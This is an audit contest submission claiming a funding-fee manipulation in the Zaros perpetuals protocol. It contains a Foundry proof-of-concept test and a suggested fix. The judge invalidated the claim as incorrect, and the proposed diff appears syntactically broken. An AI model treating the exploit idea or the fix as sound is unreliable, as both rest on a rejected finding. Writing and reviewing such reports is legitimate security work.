DeFiFoundry
60,000 USDC
View results
Submission Details
Severity: medium
Invalid

Traders can decrease their funding fee by opening a long position of a minimum size before increasing their main position.

Summary

Traders can decrease their funding fee by opening a long position of a minimum size before increasing their main position.

Vulnerability Details

PerpMarket.getPendingFundingFeePerUnit calculates the pending funding fee per unit by averaging self.lastFundingRate
and current fundingRate.
https://github.com/Cyfrin/2024-07-zaros/blob/7439d79e627286ade431d4ea02805715e46ccf42/src/perpetuals/leaves/PerpMarket.sol#L243-L257

The current fundingRate depends on the skew of the market and the elapsed time from the last funding rate update.
https://github.com/Cyfrin/2024-07-zaros/blob/7439d79e627286ade431d4ea02805715e46ccf42/src/perpetuals/leaves/PerpMarket.sol#L126-L130

Therefore, if a trader expects a higher positive skew, they can open a long position of a minimum size before
opening the main position to decrease the funding rate multiplied with a longer time elapsed. Then the bigger skew
is multiplied with 0 time elapsed, so no funding fee is accrued.

Case1

  1. Open a long position of size 1 BTC.

  2. Increase the long position by 1 BTC oldPosition.getAccruedFunding: $8250

Case2

  1. Open a long position of size 1 BTC.

  2. Increase the long position by 0.001e18 BTC by paying funding fee of $3304.125825.

  3. Increase the position by 0.999e18 by paying 0 funding fee.

POC

  1. Add this file in test/integration/perpetuals/settlement-branch/fillMarketOrder/fillMarketOrderPOC.t.sol.

  2. Run ft --mt test_POC_fillMarketOrder_OpenLong_AtOnce_WhenPositiveSkew for the case1.

  3. Run ft --mt test_POC_fillMarketOrder_OpenLong_By2Step_WhenPositiveSkew for the case2.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.25;
// Zaros dependencies
import { PremiumReport } from "@zaros/external/chainlink/interfaces/IStreamsLookupCompatible.sol";
import { IVerifierProxy } from "@zaros/external/chainlink/interfaces/IVerifierProxy.sol";
import { Errors } from "@zaros/utils/Errors.sol";
import { OrderBranch } from "@zaros/perpetuals/branches/OrderBranch.sol";
import { MarketOrder } from "@zaros/perpetuals/leaves/MarketOrder.sol";
import { SettlementBranch } from "@zaros/perpetuals/branches/SettlementBranch.sol";
import { PerpMarket } from "@zaros/perpetuals/leaves/PerpMarket.sol";
import { Position } from "@zaros/perpetuals/leaves/Position.sol";
import { SettlementConfiguration } from "@zaros/perpetuals/leaves/SettlementConfiguration.sol";
import { Base_Test } from "test/Base.t.sol";
import { TradingAccountHarness } from "test/harnesses/perpetuals/leaves/TradingAccountHarness.sol";
import { GlobalConfigurationHarness } from "test/harnesses/perpetuals/leaves/GlobalConfigurationHarness.sol";
import { PerpMarketHarness } from "test/harnesses/perpetuals/leaves/PerpMarketHarness.sol";
import { PositionHarness } from "test/harnesses/perpetuals/leaves/PositionHarness.sol";
import { GlobalConfigurationBranch } from "@zaros/perpetuals/branches/GlobalConfigurationBranch.sol";
// PRB Math dependencies
import { UD60x18, ud60x18 } from "@prb-math/UD60x18.sol";
import { SD59x18, sd59x18, unary } from "@prb-math/SD59x18.sol";
import { console } from "forge-std/console.sol";
contract FillMarketOrder_Integration_POC_Test is Base_Test {
function setUp() public override {
Base_Test.setUp();
changePrank({ msgSender: users.owner.account });
configureSystemParameters();
createPerpMarkets();
uint128 marketId = BTC_USD_MARKET_ID;
GlobalConfigurationBranch.UpdatePerpMarketConfigurationParams memory params = GlobalConfigurationBranch
.UpdatePerpMarketConfigurationParams({
name: marketsConfig[marketId].marketName,
symbol: marketsConfig[marketId].marketSymbol,
priceAdapter: marketsConfig[marketId].priceAdapter,
initialMarginRateX18: marketsConfig[marketId].imr,
maintenanceMarginRateX18: marketsConfig[marketId].mmr,
maxOpenInterest: marketsConfig[marketId].maxOi,
maxSkew: marketsConfig[marketId].maxSkew,
maxFundingVelocity: marketsConfig[marketId].maxFundingVelocity,
minTradeSizeX18: marketsConfig[marketId].minTradeSize,
// skewScale: marketsConfig[marketId].skewScale,
skewScale: 1e18,
orderFees: marketsConfig[marketId].orderFees,
priceFeedHeartbeatSeconds: marketsConfig[marketId].priceFeedHeartbeatSeconds
});
perpsEngine.updatePerpMarketConfiguration(marketId, params);
changePrank({ msgSender: users.naruto.account });
}
struct Test_GivenTheMarginBalanceUsdIsOverTheMaintenanceMarginUsdRequired_Context {
uint256 marketId;
uint256 marginValueUsd;
uint256 expectedLastFundingTime;
uint256 expectedOpenInterest;
int256 expectedSkew;
int256 firstOrderExpectedPnl;
SD59x18 secondOrderExpectedPnlX18;
int256 expectedLastFundingRate;
int256 expectedLastFundingFeePerUnit;
uint128 tradingAccountId;
int128 firstOrderSizeDelta;
int128 secondOrderSizeDelta;
bytes firstMockSignedReport;
bytes secondMockSignedReport;
UD60x18 openInterestX18;
UD60x18 firstOrderFeeUsdX18;
UD60x18 secondOrderFeeUsdX18;
UD60x18 firstFillPriceX18;
UD60x18 secondFillPriceX18;
SD59x18 skewX18;
MarketConfig fuzzMarketConfig;
PerpMarket.Data perpMarketData;
MarketOrder.Data marketOrder;
Position.Data expectedPosition;
Position.Data position;
address marketOrderKeeper;
}
function test_POC_fillMarketOrder_OpenLong_AtOnce_WhenPositiveSkew() external {
Test_GivenTheMarginBalanceUsdIsOverTheMaintenanceMarginUsdRequired_Context memory ctx;
ctx.marketId = BTC_USD_MARKET_ID;
ctx.marginValueUsd = 2000e18;
deal({ token: address(usdz), to: users.naruto.account, give: ctx.marginValueUsd });
// Config first fill order
ctx.fuzzMarketConfig = getFuzzMarketConfig(ctx.marketId);
ctx.marketOrderKeeper = marketOrderKeepers[ctx.fuzzMarketConfig.marketId];
ctx.tradingAccountId = createAccountAndDeposit(ctx.marginValueUsd, address(usdz));
// @audit Increase position by 1 BTC at once
ctx.firstOrderSizeDelta = 1e18;
ctx.firstFillPriceX18 = perpsEngine.getMarkPrice(
ctx.fuzzMarketConfig.marketId, ctx.fuzzMarketConfig.mockUsdPrice, ctx.firstOrderSizeDelta
);
console.log("-----createMarketOrder1-----");
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: ctx.tradingAccountId,
marketId: ctx.fuzzMarketConfig.marketId,
sizeDelta: ctx.firstOrderSizeDelta
})
);
ctx.firstOrderExpectedPnl = int256(0);
ctx.firstMockSignedReport =
getMockedSignedReport(ctx.fuzzMarketConfig.streamId, ctx.fuzzMarketConfig.mockUsdPrice);
changePrank({ msgSender: ctx.marketOrderKeeper });
ctx.position = PositionHarness(address(perpsEngine)).exposed_Position_load(
ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId
);
perpsEngine.fillMarketOrder(ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId, ctx.firstMockSignedReport);
SD59x18 accruedFunding = PositionHarness(address(perpsEngine)).exposed_getAccruedFunding(
ctx.tradingAccountId,
ctx.fuzzMarketConfig.marketId,
SD59x18.wrap(ctx.position.lastInteractionFundingFeePerUnit)
);
console.log("accruedFunding.intoInt256(): %s", accruedFunding.intoInt256());
assertEq(accruedFunding.intoInt256(), 0, "first fill: position funding fee");
uint256 updatedPrice = MOCK_BTC_USD_PRICE + MOCK_BTC_USD_PRICE / 10;
updateMockPriceFeed(BTC_USD_MARKET_ID, updatedPrice);
// @audit increase the position by 1 BTC at once
ctx.secondOrderSizeDelta = 1e18;
ctx.fuzzMarketConfig.mockUsdPrice = updatedPrice;
uint256 timeElapsed = 1 days;
skip(timeElapsed);
console.log("-----createMarketOrder2-----");
vm.startPrank({ msgSender: users.naruto.account });
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: ctx.tradingAccountId,
marketId: ctx.fuzzMarketConfig.marketId,
sizeDelta: ctx.secondOrderSizeDelta
})
);
ctx.secondMockSignedReport =
getMockedSignedReport(ctx.fuzzMarketConfig.streamId, ctx.fuzzMarketConfig.mockUsdPrice);
ctx.secondOrderExpectedPnlX18 = ctx.secondFillPriceX18.intoSD59x18().sub(ctx.firstFillPriceX18.intoSD59x18())
.mul(sd59x18(ctx.firstOrderSizeDelta)).add(
sd59x18(ctx.expectedLastFundingFeePerUnit).mul(sd59x18(ctx.position.size))
);
vm.startPrank({ msgSender: ctx.marketOrderKeeper });
ctx.position = PositionHarness(address(perpsEngine)).exposed_Position_load(
ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId
);
perpsEngine.fillMarketOrder(ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId, ctx.secondMockSignedReport);
accruedFunding = PositionHarness(address(perpsEngine)).exposed_getAccruedFunding(
ctx.tradingAccountId,
ctx.fuzzMarketConfig.marketId,
SD59x18.wrap(ctx.position.lastInteractionFundingFeePerUnit)
);
console.log("accruedFunding.intoInt256(): %s", accruedFunding.intoInt256());
assertEq(accruedFunding.intoInt256(), 8250000000000000000000, "second fill: position funding fee");
}
function test_POC_fillMarketOrder_OpenLong_By2Step_WhenPositiveSkew() external {
Test_GivenTheMarginBalanceUsdIsOverTheMaintenanceMarginUsdRequired_Context memory ctx;
ctx.marketId = BTC_USD_MARKET_ID;
ctx.marginValueUsd = 2000e18;
deal({ token: address(usdz), to: users.naruto.account, give: ctx.marginValueUsd });
// Config first fill order
ctx.fuzzMarketConfig = getFuzzMarketConfig(ctx.marketId);
ctx.marketOrderKeeper = marketOrderKeepers[ctx.fuzzMarketConfig.marketId];
ctx.tradingAccountId = createAccountAndDeposit(ctx.marginValueUsd, address(usdz));
// MOCK_BTC_USD_PRICE: $100_000
ctx.firstOrderSizeDelta = 1e18;
ctx.firstFillPriceX18 = perpsEngine.getMarkPrice(
ctx.fuzzMarketConfig.marketId, ctx.fuzzMarketConfig.mockUsdPrice, ctx.firstOrderSizeDelta
);
console.log("-----createMarketOrder1-----");
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: ctx.tradingAccountId,
marketId: ctx.fuzzMarketConfig.marketId,
sizeDelta: ctx.firstOrderSizeDelta
})
);
ctx.firstOrderExpectedPnl = int256(0);
ctx.firstMockSignedReport =
getMockedSignedReport(ctx.fuzzMarketConfig.streamId, ctx.fuzzMarketConfig.mockUsdPrice);
changePrank({ msgSender: ctx.marketOrderKeeper });
ctx.position = PositionHarness(address(perpsEngine)).exposed_Position_load(
ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId
);
perpsEngine.fillMarketOrder(ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId, ctx.firstMockSignedReport);
SD59x18 accruedFunding = PositionHarness(address(perpsEngine)).exposed_getAccruedFunding(
ctx.tradingAccountId,
ctx.fuzzMarketConfig.marketId,
SD59x18.wrap(ctx.position.lastInteractionFundingFeePerUnit)
);
console.log("accruedFunding.intoInt256(): %s", accruedFunding.intoInt256());
assertEq(accruedFunding.intoInt256(), 0, "first fill: position funding fee");
uint256 updatedPrice = MOCK_BTC_USD_PRICE + MOCK_BTC_USD_PRICE / 10;
updateMockPriceFeed(BTC_USD_MARKET_ID, updatedPrice);
// @audit increase the position with the minimum delta
ctx.secondOrderSizeDelta = 0.001e18;
ctx.fuzzMarketConfig.mockUsdPrice = updatedPrice;
uint256 timeElapsed = 1 days;
skip(timeElapsed);
console.log("-----createMarketOrder2-----");
vm.startPrank({ msgSender: users.naruto.account });
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: ctx.tradingAccountId,
marketId: ctx.fuzzMarketConfig.marketId,
sizeDelta: ctx.secondOrderSizeDelta
})
);
ctx.secondMockSignedReport =
getMockedSignedReport(ctx.fuzzMarketConfig.streamId, ctx.fuzzMarketConfig.mockUsdPrice);
ctx.secondOrderExpectedPnlX18 = ctx.secondFillPriceX18.intoSD59x18().sub(ctx.firstFillPriceX18.intoSD59x18())
.mul(sd59x18(ctx.firstOrderSizeDelta)).add(
sd59x18(ctx.expectedLastFundingFeePerUnit).mul(sd59x18(ctx.position.size))
);
vm.startPrank({ msgSender: ctx.marketOrderKeeper });
ctx.position = PositionHarness(address(perpsEngine)).exposed_Position_load(
ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId
);
perpsEngine.fillMarketOrder(ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId, ctx.secondMockSignedReport);
accruedFunding = PositionHarness(address(perpsEngine)).exposed_getAccruedFunding(
ctx.tradingAccountId,
ctx.fuzzMarketConfig.marketId,
SD59x18.wrap(ctx.position.lastInteractionFundingFeePerUnit)
);
console.log("accruedFunding.intoInt256(): %s", accruedFunding.intoInt256());
assertEq(accruedFunding.intoInt256(), 3304125825000000000000, "second fill: position funding fee");
// @audit increase the position by (1 - minimum delta) BTC
console.log("-----createMarketOrder3-----");
ctx.secondOrderSizeDelta = 0.999e18;
vm.startPrank({ msgSender: users.naruto.account });
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: ctx.tradingAccountId,
marketId: ctx.fuzzMarketConfig.marketId,
sizeDelta: ctx.secondOrderSizeDelta
})
);
vm.startPrank({ msgSender: ctx.marketOrderKeeper });
ctx.position = PositionHarness(address(perpsEngine)).exposed_Position_load(
ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId
);
perpsEngine.fillMarketOrder(ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId, ctx.secondMockSignedReport);
accruedFunding = PositionHarness(address(perpsEngine)).exposed_getAccruedFunding(
ctx.tradingAccountId,
ctx.fuzzMarketConfig.marketId,
SD59x18.wrap(ctx.position.lastInteractionFundingFeePerUnit)
);
// @audit No funding fee is accrued because 0 second has elapsed.
console.log("accruedFunding.intoInt256(): %s", accruedFunding.intoInt256());
assertEq(accruedFunding.intoInt256(), 0, "third fill: position funding fee");
}
}

Impact

  1. Traders can decrease funding fee by opening a long position of a minimum size before opening their main position.

  2. LP providers can manipulate funding fee in favor of them by closing a minimum size before traders close their
    position by a large size.

  3. Liquidators can result in a higher funding fee by closing an long position of the smallest size first when skew is
    positve, and closing a short position of the smallest size first when skew is negative.

Tools Used

Foundry.

Recommendations

Replace avgFundingRate with lastFundingRate. This makes every skew affects the funding fee depending the
duration it is kept in the market.

function getPendingFundingFeePerUnit(
Data storage self,
SD59x18 fundingRate,
UD60x18 markPriceX18
)
internal
view
returns (SD59x18)
{
- SD59x18 avgFundingRate = unary(sd59x18(self.lastFundingRate).add(fundingRate)).div(sd59x18Convert(2));
+ SD59x18 lastFundingRate = unary(sd59x18(self.lastFundingRate);
- return avgFundingRate.mul(getProportionalElapsedSinceLastFunding(self).intoSD59x18()).mul(
+ return lastFundingRate.mul(getProportionalElapsedSinceLastFunding(self).intoSD59x18()).mul(
markPriceX18.intoSD59x18()
);
}

https://github.com/Cyfrin/2024-07-zaros/blob/7439d79e627286ade431d4ea02805715e46ccf42/src/perpetuals/leaves/PerpMarket.sol#L243-L257

Updates

Lead Judging Commences

inallhonesty Lead Judge
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!